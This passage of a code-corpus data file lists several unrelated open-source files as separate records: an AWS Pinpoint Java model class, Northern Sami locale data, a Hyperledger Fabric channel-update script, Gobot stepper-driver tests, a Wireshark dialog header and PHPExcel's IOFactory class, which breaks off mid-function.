text
stringlengths
2
100k
meta
dict
/* * Copyright 2010-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ package com.amazonaws.services.pinpoint.model; import java.io.Serializable; public class GetCampaignsResult implements Serializable { /** * List of available campaigns. */ private CampaignsResponse campaignsResponse; /** * List of available campaigns. * * @return List of available campaigns. */ public CampaignsResponse getCampaignsResponse() { return campaignsResponse; } /** * List of available campaigns. * * @param campaignsResponse List of available campaigns. */ public void setCampaignsResponse(CampaignsResponse campaignsResponse) { this.campaignsResponse = campaignsResponse; } /** * List of available campaigns. * <p> * Returns a reference to this object so that method calls can be chained * together. * * @param campaignsResponse List of available campaigns. * @return A reference to this updated object so that method calls can be * chained together. */ public GetCampaignsResult withCampaignsResponse(CampaignsResponse campaignsResponse) { this.campaignsResponse = campaignsResponse; return this; } /** * Returns a string representation of this object; useful for testing and * debugging. * * @return A string representation of this object. * @see java.lang.Object#toString() */ @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append("{"); if (getCampaignsResponse() != null) sb.append("CampaignsResponse: " + getCampaignsResponse()); sb.append("}"); return sb.toString(); } @Override public int hashCode() { final int prime = 31; int hashCode = 1; hashCode = prime * hashCode + ((getCampaignsResponse() == null) ? 0 : getCampaignsResponse().hashCode()); return hashCode; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (obj instanceof GetCampaignsResult == false) return false; GetCampaignsResult other = (GetCampaignsResult) obj; if (other.getCampaignsResponse() == null ^ this.getCampaignsResponse() == null) return false; if (other.getCampaignsResponse() != null && other.getCampaignsResponse().equals(this.getCampaignsResponse()) == false) return false; return true; } }
{ "pile_set_name": "Github" }
<?php /** * Locale data for 'se'. * * This file is automatically generated by yiic cldr command. * * Copyright © 1991-2013 Unicode, Inc. All rights reserved. * Distributed under the Terms of Use in http://www.unicode.org/copyright.html. * * @copyright 2008-2014 Yii Software LLC (http://www.yiiframework.com/license/) */ return array ( 'version' => '8245', 'numberSymbols' => array ( 'decimal' => '.', 'group' => ',', 'list' => ';', 'percentSign' => '%', 'plusSign' => '+', 'minusSign' => '-', 'exponential' => 'E', 'perMille' => '‰', 'infinity' => '∞', 'nan' => 'NaN', ), 'decimalFormat' => '#,##0.###', 'scientificFormat' => '#E0', 'percentFormat' => '#,##0 %', 'currencyFormat' => '#,##0.00 ¤', 'currencySymbols' => array ( 'AUD' => 'A$', 'BRL' => 'R$', 'CAD' => 'CA$', 'CNY' => 'CN¥', 'EUR' => '€', 'GBP' => '£', 'HKD' => 'HK$', 'ILS' => '₪', 'INR' => '₹', 'JPY' => 'JP¥', 'KRW' => '₩', 'MXN' => 'MX$', 'NZD' => 'NZ$', 'THB' => '฿', 'TWD' => 'NT$', 'USD' => 'US$', 'VND' => '₫', 'XAF' => 'FCFA', 'XCD' => 'EC$', 'XOF' => 'CFA', 'XPF' => 'CFPF', 'DKK' => 'Dkr', 'NOK' => 'kr', 'SEK' => 'Skr', ), 'monthNames' => array ( 'wide' => array ( 1 => 'ođđajagemánnu', 2 => 'guovvamánnu', 3 => 'njukčamánnu', 4 => 'cuoŋománnu', 5 => 'miessemánnu', 6 => 'geassemánnu', 7 => 'suoidnemánnu', 8 => 'borgemánnu', 9 => 'čakčamánnu', 10 => 'golggotmánnu', 11 => 'skábmamánnu', 12 => 'juovlamánnu', ), 'abbreviated' => array ( 1 => 'ođđj', 2 => 'guov', 3 => 'njuk', 4 => 'cuo', 5 => 'mies', 6 => 'geas', 7 => 'suoi', 8 => 'borg', 9 => 'čakč', 10 => 'golg', 11 => 'skáb', 12 => 'juov', ), ), 'monthNamesSA' => array ( 'narrow' => array ( 1 => 'O', 2 => 'G', 3 => 'N', 4 => 'C', 5 => 'M', 6 => 'G', 7 => 'S', 8 => 'B', 9 => 'Č', 10 => 'G', 11 => 'S', 12 => 'J', ), ), 'weekDayNames' => array ( 'wide' => array ( 0 => 'sotnabeaivi', 1 => 'vuossárga', 2 => 'maŋŋebárga', 3 => 'gaskavahkku', 4 => 'duorasdat', 5 => 'bearjadat', 6 => 'lávvardat', ), 'abbreviated' => array ( 0 => 'sotn', 1 => 'vuos', 2 => 'maŋ', 3 => 'gask', 4 => 'duor', 5 => 'bear', 6 => 'láv', ), ), 'weekDayNamesSA' => array ( 'narrow' => array ( 0 => 'S', 1 => 'V', 2 => 'M', 3 => 'G', 4 => 'D', 5 => 'B', 6 => 'L', ), ), 'eraNames' => array ( 'abbreviated' => array ( 0 => 'o.Kr.', 1 => 'm.Kr.', ), 'wide' => array ( 0 => 'ovdal Kristtusa', 1 => 'maŋŋel Kristtusa', ), 'narrow' => array ( 0 => 'o.Kr.', 1 => 'm.Kr.', ), ), 'dateFormats' => array ( 'full' => 'y MMMM d, EEEE', 'long' => 'y MMMM d', 'medium' => 'y MMM d', 'short' => 'y-MM-dd', ), 'timeFormats' => array ( 'full' => 'HH:mm:ss zzzz', 'long' => 'HH:mm:ss z', 'medium' => 'HH:mm:ss', 'short' => 'HH:mm', ), 'dateTimeFormat' => '{1} {0}', 'amName' => 'iđitbeaivet', 'pmName' => 'eahketbeaivet', 'orientation' => 'ltr', 'languages' => array ( 'ace' => 'acehgiella', 'af' => 'afrikánsagiella', 'an' => 'aragoniagiella', 'ang' => 'boares eaŋgalasgiella', 'apa' => 'apacheš giella', 'ar' => 'arábagiella', 'ast' => 'asturiagiella', 'be' => 'vilges-ruoššagiella', 'bg' => 'bulgáriagiella', 'bn' => 'bengalgiella', 'bo' => 'tibetagiella', 'br' => 'bretonagiella', 'bs' => 'bosniagiella', 'ca' => 'katalánagiella', 'cel' => 'kelttalaš gielat', 'chm' => 'marigiella', 'co' => 'corsicagiella', 'cs' => 'čeahkagiella', 'cy' => 'kymragiella', 'da' => 'dánskkagiella', 'de' => 'duiskkagiella', 'dv' => 'divehigiella', 'dz' => 'dzongkhagiella', 'el' => 'greikkagiella', 'en' => 'eaŋgalsgiella', 'es' => 'spánskkagiella', 'et' => 'esttegiella', 'fa' => 'persijagiella', 'fi' => 'suomagiella', 'fil' => 'filippiinnagiella', 'fiu' => 'fenno-ugrálaš giella', 'fj' => 'fidjigiella', 'fo' => 'fearagiella', 'fr' => 'fránskkagiella', 'fy' => 'oarjifriisagiella', 'ga' => 'iirragiella', 'gem' => 'germánalaš gielat', 'gu' => 'gujaratagiella', 'gv' => 'manksgiella', 'ha' => 'haussagiella', 'haw' => 'hawaiigiella', 'hi' => 'hindigiella', 'hr' => 'kroátiagiella', 'ht' => 'haitigiella', 'hu' => 'ungárgiella', 'hy' => 'armeenagiella', 'id' => 'indonesiagiella', 'is' => 'islánddagiella', 'it' => 'itáliagiella', 'ja' => 'japánagiella', 'jv' => 'javagiella', 'ka' => 'georgiagiella', 'kk' => 'kazakgiella', 'km' => 'kambodiagiella', 'ko' => 'koreagiella', 'krl' => 'gárjilgiella', 'ku' => 'kurdigiella', 'kv' => 'komigiella', 'kw' => 'kornagiella', 'la' => 'láhtengiella', 'lb' => 'luxemburggagiella', 'lo' => 'laogiella', 'lt' => 'liettuvagiella', 'lv' => 'látviagiella', 'mdf' => 'mokšagiella', 'mi' => 'maorigiella', 'mk' => 'makedoniagiella', 'mn' => 'mongoliagiella', 'mt' => 'maltagiella', 'my' => 'burmagiella', 'myv' => 'ersagiella', 'nb' => 'girjedárogiella', 'ne' => 'nepaligiella', 'nl' => 'hollánddagiella', 'nn' => 'ođđadárogiella', 'no' => 'dárogiella', 'oc' => 'oksitánagiella', 'pa' => 'panjabigiella', 'pl' => 'polskkagiella', 'pt' => 'portugálagiella', 'rm' => 'romanšgiella', 'ro' => 'romániagiella', 'roa' => 'románalaš gielat', 'ru' => 'ruoššagiella', 'sc' => 'sardigiella', 'scn' => 'sisiliagiella', 'se' => 'davvisámegiella', 'sel' => 'selkupagiella', 'sh' => 'serbokroatiagiella', 'sk' => 'slovákiagiella', 'sl' => 'slovenagiella', 'sm' => 'samoagiella', 'sma' => 'lullisámegiella', 'smi' => 'sámegielat', 'smj' => 'julevsámegiella', 'smn' => 'anárašgiella', 'sms' => 'nuortalašgiella', 'sq' => 'albánagiella', 'sr' => 'serbiagiella', 'sv' => 'ruoŧagiella', 'swb' => 'shimaorigiella', 'th' => 'ŧaigiella', 'tr' => 'durkagiella', 'ty' => 'tahitigiella', 'udm' => 'udmurtagiella', 'uk' => 'ukrainagiella', 'und' => 'dovdameahttun giella', 'ur' => 'urdugiella', 'vi' => 'vietnamgiella', 'wa' => 'vallonagiella', 'wen' => 'sorbi gielat', 'yue' => 'kantongiella', 'zh' => 'kiinnágiella', 'zh_hans' => 'álki kiinágiella', 'zh_hant' => 'árbevirolaš kiinnágiella', ), 'scripts' => array ( 'arab' => 'arába', 'cyrl' => 'kyrillalaš', 'grek' => 'greikkalaš', 'hang' => 'hangul', 'hani' => 'kiinnaš', 'hans' => 'álki', 'hant' => 'árbevirolaš', 'hira' => 'hiragana', 'kana' => 'katakana', 'latn' => 'láhtenaš', 'zxxx' => 'orrut chállojuvvot', 'zzzz' => 'dovdameahttun chállin', ), 'territories' => array ( '001' => 'máilbmi', '002' => 'Afrihkká', '003' => 'dávvi-Amerihkká ja gaska-Amerihkká', '005' => 'mátta-Amerihkká', '009' => 'Oseania', '011' => 'oarji-Afrihkká', '013' => 'gaska-Amerihkká', '014' => 'nuorta-Afrihkká', '015' => 'davvi-Afrihkká', '017' => 'gaska-Afrihkká', '018' => 'mátta-Afrihkká', '019' => 'Amerihkká', '021' => 'dávvi-Amerihkká', '029' => 'Karibia', '030' => 'nuorta-Ásia', '034' => 'mátta-Ásia', '035' => 'mátta-nuorta-Ásia', '039' => 'mátta-Eurohpá', '053' => 'Austrália ja Ođđa-Selánda', '054' => 'Melanesia', '057' => 'Mikronesia guovllus', '061' => 'Polynesia', 142 => 'Ásia', 143 => 'gaska-Ásia', 145 => 'oarji-Ásia', 150 => 'Eurohpá', 151 => 'nuorta-Eurohpá', 154 => 'davvi-Eurohpá', 155 => 'oarji-Eurohpá', 419 => 'Lulli-Amerihkká', 'ac' => 'Ascension', 'ad' => 'Andorra', 'ae' => 'Ovttastuvvan Arábaemiráhtat', 'af' => 'Afghanistan', 'ag' => 'Antigua ja Barbuda', 'ai' => 'Anguilla', 'al' => 'Albánia', 'am' => 'Armenia', 'ao' => 'Angola', 'aq' => 'Antárktis', 'ar' => 'Argentina', 'as' => 'Amerihká Samoa', 'at' => 'Nuortariika', 'au' => 'Austrália', 'aw' => 'Aruba', 'ax' => 'Ålánda', 'az' => 'Aserbaižan', 'ba' => 'Bosnia-Hercegovina', 'bb' => 'Barbados', 'bd' => 'Bangladesh', 'be' => 'Belgia', 'bf' => 'Burkina Faso', 'bg' => 'Bulgária', 'bh' => 'Bahrain', 'bi' => 'Burundi', 'bj' => 'Benin', 'bl' => 'Saint Barthélemy', 'bm' => 'Bermuda', 'bn' => 'Brunei', 'bo' => 'Bolivia', 'br' => 'Brasil', 'bs' => 'Bahamas', 'bt' => 'Bhutan', 'bv' => 'Bouvet-sullot', 'bw' => 'Botswana', 'by' => 'Vilges-Ruošša', 'bz' => 'Belize', 'ca' => 'Kanáda', 'cc' => 'Cocos-sullot', 'cd' => 'Kongo-Kinshasa', 'cf' => 'Gaska-Afrihká dásseváldi', 'cg' => 'Kongo-Brazzaville', 'ch' => 'Šveica', 'ci' => 'Elfenbenariddu', 'ck' => 'Cook-sullot', 'cl' => 'Čiile', 'cm' => 'Kamerun', 'cn' => 'Kiinná', 'co' => 'Kolombia', 'cp' => 'Clipperton-sullot', 'cr' => 'Costa Rica', 'cu' => 'Kuba', 'cv' => 'Kap Verde', 'cw' => 'Curaçao', 'cx' => 'Juovllat-sullot', 'cy' => 'Kypros', 'cz' => 'Čeahkka', 'de' => 'Duiska', 'dg' => 'Diego Garcia', 'dj' => 'Djibouti', 'dk' => 'Dánmárku', 'dm' => 'Dominica', 'do' => 'Dominikána dásseváldi', 'dz' => 'Algeria', 'ea' => 'Ceuta ja Melilla', 'ec' => 'Ecuador', 'ee' => 'Estlánda', 'eg' => 'Egypta', 'eh' => 'Oarje-Sahára', 'er' => 'Eritrea', 'es' => 'Spánia', 'et' => 'Etiopia', 'eu' => 'Eurohpa Uniovdna', 'fi' => 'Suopma', 'fj' => 'Fijisullot', 'fk' => 'Falklandsullot', 'fm' => 'Mikronesia', 'fo' => 'Fearsullot', 'fr' => 'Frankriika', 'ga' => 'Gabon', 'gb' => 'Stuorra-Británnia', 'gd' => 'Grenada', 'ge' => 'Georgia', 'gf' => 'Frankriikka Guayana', 'gg' => 'Guernsey', 'gh' => 'Ghana', 'gi' => 'Gibraltar', 'gl' => 'Kalaallit Nunaat', 'gm' => 'Gámbia', 'gn' => 'Guinea', 'gp' => 'Guadeloupe', 'gq' => 'Ekvatoriála Guinea', 'gr' => 'Greika', 'gs' => 'Lulli Georgia ja Lulli Sandwich-sullot', 'gt' => 'Guatemala', 'gu' => 'Guam', 'gw' => 'Guinea-Bissau', 'gy' => 'Guyana', 'hk' => 'Hongkong', 'hm' => 'Heard- ja McDonald-sullot', 'hn' => 'Honduras', 'hr' => 'Kroátia', 'ht' => 'Haiti', 'hu' => 'Ungár', 'ic' => 'Kanáriasullot', 'id' => 'Indonesia', 'ie' => 'Irlánda', 'il' => 'Israel', 'im' => 'Mann-sullot', 'in' => 'India', 'iq' => 'Irak', 'ir' => 'Iran', 'is' => 'Islánda', 'it' => 'Itália', 'je' => 'Jersey', 'jm' => 'Jamaica', 'jo' => 'Jordánia', 'jp' => 'Japána', 'ke' => 'Kenia', 'kg' => 'Kirgisistan', 'kh' => 'Kambodža', 'ki' => 'Kiribati', 'km' => 'Komorosullot', 'kn' => 'Saint Kitts ja Nevis', 'kp' => 'Davvi-Korea', 'kr' => 'Mátta-Korea', 'kw' => 'Kuwait', 'ky' => 'Cayman-sullot', 'kz' => 'Kasakstan', 'la' => 'Laos', 'lb' => 'Libanon', 'lc' => 'Saint Lucia', 'li' => 'Liechtenstein', 'lk' => 'Sri Lanka', 'lr' => 'Liberia', 'ls' => 'Lesotho', 'lt' => 'Lietuva', 'lu' => 'Luxembourg', 'lv' => 'Látvia', 'ly' => 'Libya', 'ma' => 'Marokko', 'mc' => 'Monaco', 'md' => 'Moldávia', 'me' => 'Montenegro', 'mf' => 'Frankriikka Saint Martin', 'mg' => 'Madagaskar', 'mh' => 'Marshallsullot', 'mk' => 'Makedonia', 'ml' => 'Mali', 'mm' => 'Burma', 'mn' => 'Mongolia', 'mo' => 'Makáo', 'mp' => 'Davvi-Mariánat', 'mq' => 'Martinique', 'mr' => 'Mauretánia', 'ms' => 'Montserrat', 'mt' => 'Málta', 'mu' => 'Mauritius', 'mv' => 'Malediivvat', 'mw' => 'Malawi', 'mx' => 'Meksiko', 'my' => 'Malesia', 'mz' => 'Mosambik', 'na' => 'Namibia', 'nc' => 'Ođđa-Kaledonia', 'ne' => 'Niger', 'nf' => 'Norfolksullot', 'ng' => 'Nigeria', 'ni' => 'Nicaragua', 'nl' => 'Vuolleeatnamat', 'no' => 'Norga', 'np' => 'Nepal', 'nr' => 'Nauru', 'nu' => 'Niue', 'nz' => 'Ođđa-Selánda', 'om' => 'Oman', 'pa' => 'Panama', 'pe' => 'Peru', 'pf' => 'Frankriikka Polynesia', 'pg' => 'Papua-Ođđa-Guinea', 'ph' => 'Filippiinnat', 'pk' => 'Pakistan', 'pl' => 'Polen', 'pm' => 'Saint Pierre ja Miquelon', 'pn' => 'Pitcairn', 'pr' => 'Puerto Rico', 'ps' => 'Palestina', 'pt' => 'Portugála', 'pw' => 'Palau', 'py' => 'Paraguay', 'qa' => 'Qatar', 're' => 'Réunion', 'ro' => 'Románia', 'rs' => 'Serbia', 'ru' => 'Ruošša', 'rw' => 'Rwanda', 'sa' => 'Saudi-Arábia', 'sb' => 'Salomon-sullot', 'sc' => 'Seychellsullot', 'sd' => 'Davvisudan', 'se' => 'Ruoŧŧa', 'sg' => 'Singapore', 'sh' => 'Saint Helena', 'si' => 'Slovenia', 'sj' => 'Svalbárda ja Jan Mayen', 'sk' => 'Slovákia', 'sl' => 'Sierra Leone', 'sm' => 'San Marino', 'sn' => 'Senegal', 'so' => 'Somália', 'sr' => 'Surinam', 'ss' => 'Máttasudan', 'st' => 'São Tomé ja Príncipe', 'sv' => 'El Salvador', 'sx' => 'Vuolleeatnamat Saint Martin', 'sy' => 'Syria', 'sz' => 'Svazieana', 'ta' => 'Tristan da Cunha', 'tc' => 'Turks ja Caicos-sullot', 'td' => 'Tčad', 'tg' => 'Togo', 'th' => 'Thaieana', 'tj' => 'Tažikistan', 'tk' => 'Tokelau', 'tl' => 'Nuorta-Timor', 'tm' => 'Turkmenistan', 'tn' => 'Tunisia', 'to' => 'Tonga', 'tr' => 'Durka', 'tt' => 'Trinidad ja Tobago', 'tv' => 'Tuvalu', 'tw' => 'Taiwan', 'tz' => 'Tanzánia', 'ua' => 'Ukraina', 'ug' => 'Uganda', 'us' => 'Amerihká ovttastuvvan stáhtat', 'uy' => 'Uruguay', 'uz' => 'Usbekistan', 'va' => 'Vatikána', 'vc' => 'Saint Vincent ja Grenadine', 've' => 'Venezuela', 'vg' => 'Brittania Virgin-sullot', 'vi' => 'AOS Virgin-sullot', 'vn' => 'Vietnam', 'vu' => 'Vanuatu', 'wf' => 'Wallis ja Futuna', 'ws' => 'Samoa', 'ye' => 'Jemen', 'yt' => 'Mayotte', 'za' => 'Mátta-Afrihká', 'zm' => 'Zambia', 'zw' => 'Zimbabwe', 'zz' => 'dovdameahttun guovlu', ), 'pluralRules' => array ( 0 => 'n==1', 1 => 'n==2', 2 => 'true', ), );
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- See fburl.com/140690840 for information about i18n on Android --> <!-- @generated --> <!-- FB Locale: az_AZ --> <resources exclude-from-buck-resource-map="true"> </resources>
{ "pile_set_name": "Github" }
#!/bin/bash # Importing useful functions for cc testing if [ -f ./func.sh ]; then source ./func.sh elif [ -f scripts/func.sh ]; then source scripts/func.sh fi ## Join all the peers to the channel echo_b "=== Updating config of channel ${APP_CHANNEL}... ===" echo_b "Sign the channel update tx by Org1/Peer0 and Org2/Peer0" channelSignConfigTx ${APP_CHANNEL} "1" "0" "${CFG_DELTA_ENV_PB}" channelSignConfigTx ${APP_CHANNEL} "2" "0" "${CFG_DELTA_ENV_PB}" channelUpdate ${APP_CHANNEL} "1" "0" ${ORDERER0_URL} ${ORDERER0_TLS_ROOTCERT} ${CFG_DELTA_ENV_PB} sleep 1 # wait till the update takes effect # use org1.peer0's id to get latest block from orderer newest_block_file1=/tmp/${APP_CHANNEL}_newest1.block channelFetch ${APP_CHANNEL} "1" "0" ${ORDERER0_URL} ${ORDERER0_TLS_ROOTCERT} "newest" ${newest_block_file1} [ -f ${newest_block_file1} ] || exit 1 # use org3.peer0's id to get latest block from orderer newest_block_file2=/tmp/${APP_CHANNEL}_newest2.block channelFetch ${APP_CHANNEL} "3" "0" ${ORDERER0_URL} ${ORDERER0_TLS_ROOTCERT} "newest" ${newest_block_file2} [ -f ${newest_block_file2} ] || exit 1 if [ $(getShasum ${newest_block_file1}) = $(getShasum ${newest_block_file2}) ]; then echo_g "Block matched, new org joined channel successfully" else echo_r "Block not matched, new org joined channel failed" exit 1 fi # Now new org is valid to join the channel # channelJoin ${APP_CHANNEL} "3" "0" echo_g "=== Updated config of channel ${APP_CHANNEL}... ===" echo
{ "pile_set_name": "Github" }
package gpio import ( "errors" "strings" "testing" "time" "gobot.io/x/gobot/gobottest" ) const ( stepsInRev = 32 ) func initStepperMotorDriver() *StepperDriver { return NewStepperDriver(newGpioTestAdaptor(), [4]string{"7", "11", "13", "15"}, StepperModes.DualPhaseStepping, stepsInRev) } func TestStepperDriverRun(t *testing.T) { d := initStepperMotorDriver() d.Run() gobottest.Assert(t, d.IsMoving(), true) } func TestStepperDriverHalt(t *testing.T) { d := initStepperMotorDriver() d.Run() time.Sleep(200 * time.Millisecond) d.Halt() gobottest.Assert(t, d.IsMoving(), false) } func TestStepperDriverDefaultName(t *testing.T) { d := initStepperMotorDriver() gobottest.Assert(t, strings.HasPrefix(d.Name(), "Stepper"), true) } func TestStepperDriverSetName(t *testing.T) { name := "SomeStepperSriver" d := initStepperMotorDriver() d.SetName(name) gobottest.Assert(t, d.Name(), name) } func TestStepperDriverSetDirection(t *testing.T) { dir := "backward" d := initStepperMotorDriver() d.SetDirection(dir) gobottest.Assert(t, d.direction, dir) } func TestStepperDriverDefaultDirection(t *testing.T) { d := initStepperMotorDriver() gobottest.Assert(t, d.direction, "forward") } func TestStepperDriverInvalidDirection(t *testing.T) { d := initStepperMotorDriver() err := d.SetDirection("reverse") gobottest.Assert(t, err.(error), errors.New("Invalid direction. Value should be forward or backward")) } func TestStepperDriverMoveForward(t *testing.T) { d := initStepperMotorDriver() d.Move(1) gobottest.Assert(t, d.GetCurrentStep(), 1) d.Move(10) gobottest.Assert(t, d.GetCurrentStep(), 11) } func TestStepperDriverMoveBackward(t *testing.T) { d := initStepperMotorDriver() d.Move(-1) gobottest.Assert(t, d.GetCurrentStep(), stepsInRev-1) d.Move(-10) gobottest.Assert(t, d.GetCurrentStep(), stepsInRev-11) } func TestStepperDriverMoveFullRotation(t *testing.T) { d := initStepperMotorDriver() d.Move(stepsInRev) gobottest.Assert(t, d.GetCurrentStep(), 0) } func TestStepperDriverMotorSetSpeedMoreThanMax(t *testing.T) { d := initStepperMotorDriver() m := d.GetMaxSpeed() d.SetSpeed(m + 1) gobottest.Assert(t, m, d.speed) } func TestStepperDriverMotorSetSpeedLessOrEqualMax(t *testing.T) { d := initStepperMotorDriver() m := d.GetMaxSpeed() d.SetSpeed(m - 1) gobottest.Assert(t, m-1, d.speed) d.SetSpeed(m) gobottest.Assert(t, m, d.speed) }
{ "pile_set_name": "Github" }
/* expert_info_dialog.h * * Wireshark - Network traffic analyzer * By Gerald Combs <[email protected]> * Copyright 1998 Gerald Combs * * SPDX-License-Identifier: GPL-2.0-or-later */ #ifndef EXPERT_INFO_DIALOG_H #define EXPERT_INFO_DIALOG_H #include <config.h> #include <glib.h> #include "filter_action.h" #include "wireshark_dialog.h" #include <ui/qt/models/expert_info_model.h> #include <ui/qt/models/expert_info_proxy_model.h> #include <ui/qt/widgets/expert_info_view.h> #include <QMenu> namespace Ui { class ExpertInfoDialog; } class ExpertInfoDialog : public WiresharkDialog { Q_OBJECT public: explicit ExpertInfoDialog(QWidget &parent, CaptureFile& capture_file); ~ExpertInfoDialog(); void clearAllData(); void setDisplayFilter(const QString &display_filter = QString()); ExpertInfoTreeView* getExpertInfoView(); signals: void filterAction(QString filter, FilterAction::Action action, FilterAction::ActionType type); private: Ui::ExpertInfoDialog *ui; ExpertInfoModel* expert_info_model_; ExpertInfoProxyModel* proxyModel_; QMenu ctx_menu_; QString display_filter_; private slots: void retapPackets(); void captureEvent(CaptureEvent e); void updateWidgets(); void on_actionShowError_toggled(bool checked); void on_actionShowWarning_toggled(bool checked); void on_actionShowNote_toggled(bool checked); void on_actionShowChat_toggled(bool checked); void on_actionShowComment_toggled(bool checked); void showExpertInfoMenu(QPoint pos); void filterActionTriggered(); void collapseTree(); void expandTree(); void on_limitCheckBox_toggled(bool); void on_groupBySummaryCheckBox_toggled(bool); void on_searchLineEdit_textChanged(const QString &search_re); void on_buttonBox_helpRequested(); }; #endif // EXPERT_INFO_DIALOG_H /* * Editor modelines * * Local Variables: * c-basic-offset: 4 * tab-width: 8 * indent-tabs-mode: nil * End: * * ex: set shiftwidth=4 tabstop=8 expandtab: * :indentSize=4:tabSize=8:noTabs=true: */
{ "pile_set_name": "Github" }
<?php /** * PHPExcel * * Copyright (c) 2006 - 2014 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel * @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_IOFactory * * @category PHPExcel * @package PHPExcel * @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel) */ class PHPExcel_IOFactory { /** * Search locations * * @var array * @access private * @static */ private static $_searchLocations = array( array( 'type' => 'IWriter', 'path' => 'PHPExcel/Writer/{0}.php', 'class' => 'PHPExcel_Writer_{0}' ), array( 'type' => 'IReader', 'path' => 'PHPExcel/Reader/{0}.php', 'class' => 'PHPExcel_Reader_{0}' ) ); /** * Autoresolve classes * * @var array * @access private * @static */ private static $_autoResolveClasses = array( 'Excel2007', 'Excel5', 'Excel2003XML', 'OOCalc', 'SYLK', 'Gnumeric', 'HTML', 'CSV', ); /** * Private constructor for PHPExcel_IOFactory */ private function __construct() { } /** * Get search locations * * @static * @access public * @return array */ public static function getSearchLocations() { return self::$_searchLocations; } // function getSearchLocations() /** * Set search locations * * @static * @access public * @param array $value * @throws PHPExcel_Reader_Exception */ public static function setSearchLocations($value) { if (is_array($value)) { self::$_searchLocations = $value; } else { throw new PHPExcel_Reader_Exception('Invalid parameter passed.'); } } // function setSearchLocations() /** * Add search location * * @static * @access public * @param string $type Example: IWriter * @param string $location Example: PHPExcel/Writer/{0}.php * @param string $classname Example: PHPExcel_Writer_{0} */ public static function addSearchLocation($type = '', $location = '', $classname = '') { self::$_searchLocations[] = array( 'type' => $type, 'path' => $location, 'class' => $classname ); } // function addSearchLocation() /** * Create PHPExcel_Writer_IWriter * * @static * @access public * @param PHPExcel $phpExcel * @param string $writerType Example: Excel2007 * @return PHPExcel_Writer_IWriter * @throws PHPExcel_Reader_Exception */ public static function createWriter(PHPExcel $phpExcel, $writerType = '') { // Search type $searchType = 'IWriter'; // Include class foreach (self::$_searchLocations as $searchLocation) { if ($searchLocation['type'] == $searchType) { $className = str_replace('{0}', $writerType, $searchLocation['class']); $instance = new $className($phpExcel); if ($instance !== NULL) { return $instance; } } } // Nothing found... throw new PHPExcel_Reader_Exception("No $searchType found for type $writerType"); } // function createWriter() /** * Create PHPExcel_Reader_IReader * * @static * @access public * @param string $readerType Example: Excel2007 * @return PHPExcel_Reader_IReader * @throws PHPExcel_Reader_Exception */ public static function createReader($readerType = '') { // Search type $searchType = 'IReader'; // Include class foreach (self::$_searchLocations as $searchLocation) { if ($searchLocation['type'] == $searchType) { $className = str_replace('{0}', $readerType, $searchLocation['class']); $instance = new $className(); if ($instance !== NULL) { return $instance; } } } // Nothing found... throw new PHPExcel_Reader_Exception("No $searchType found for type $readerType"); } // function createReader() /** * Loads PHPExcel from file using automatic PHPExcel_Reader_IReader resolution * * @static * @access public * @param string $pFilename The name of the spreadsheet file * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public static function load($pFilename) { $reader = self::createReaderForFile($pFilename); return $reader->load($pFilename); } // function load() /** * Identify file type using automatic PHPExcel_Reader_IReader resolution * * @static * @access public * @param string $pFilename The name of the spreadsheet file to identify * @return string * @throws PHPExcel_Reader_Exception */ public static function identify($pFilename) { $reader = self::createReaderForFile($pFilename); $className = get_class($reader); $classType = explode('_',$className); unset($reader); return array_pop($classType); } // function identify() /** * Create PHPExcel_Reader_IReader for file using automatic PHPExcel_Reader_IReader resolution * * @static * @access public * @param string $pFilename The name of the spreadsheet file * @return PHPExcel_Reader_IReader * @throws PHPExcel_Reader_Exception */ public static function createReaderForFile($pFilename) { // First, lucky guess by inspecting file extension $pathinfo = pathinfo($pFilename); $extensionType = NULL; if (isset($pathinfo['extension'])) { switch (strtolower($pathinfo['extension'])) { case 'xlsx': // Excel (OfficeOpenXML) Spreadsheet case 'xlsm': // Excel (OfficeOpenXML) Macro Spreadsheet (macros will be discarded) case 'xltx': // Excel (OfficeOpenXML) Template case 'xltm': // Excel (OfficeOpenXML) Macro Template (macros will be discarded) $extensionType = 'Excel2007'; break; case 'xls': // Excel (BIFF) Spreadsheet case 'xlt': // Excel (BIFF) Template $extensionType = 'Excel5'; break; case 'ods': // Open/Libre Offic Calc case 'ots': // Open/Libre Offic Calc Template $extensionType = 'OOCalc'; break; case 'slk': $extensionType = 'SYLK'; break; case 'xml': // Excel 2003 SpreadSheetML $extensionType = 'Excel2003XML'; break; case 'gnumeric': $extensionType = 'Gnumeric'; break; case 'htm': case 'html': $extensionType = 'HTML'; break; case 'csv': // Do nothing // We must not try to use CSV reader since it loads // all files including Excel files etc. break; default: break; } if ($extensionType !== NULL) { $reader = self::createReader($extensionType); // Let's see if we are lucky if (isset($reader) && $reader->canRead($pFilename)) { return $reader; } } } // If we reach here then "lucky guess" didn't give any result // Try walking through all the options in self::$_autoResolveClasses foreach (self::$_autoResolveClasses as $autoResolveClass) { // Ignore our original guess, we know that won't work if ($autoResolveClass !== $extensionType) { $reader = self::createReader($autoResolveClass); if 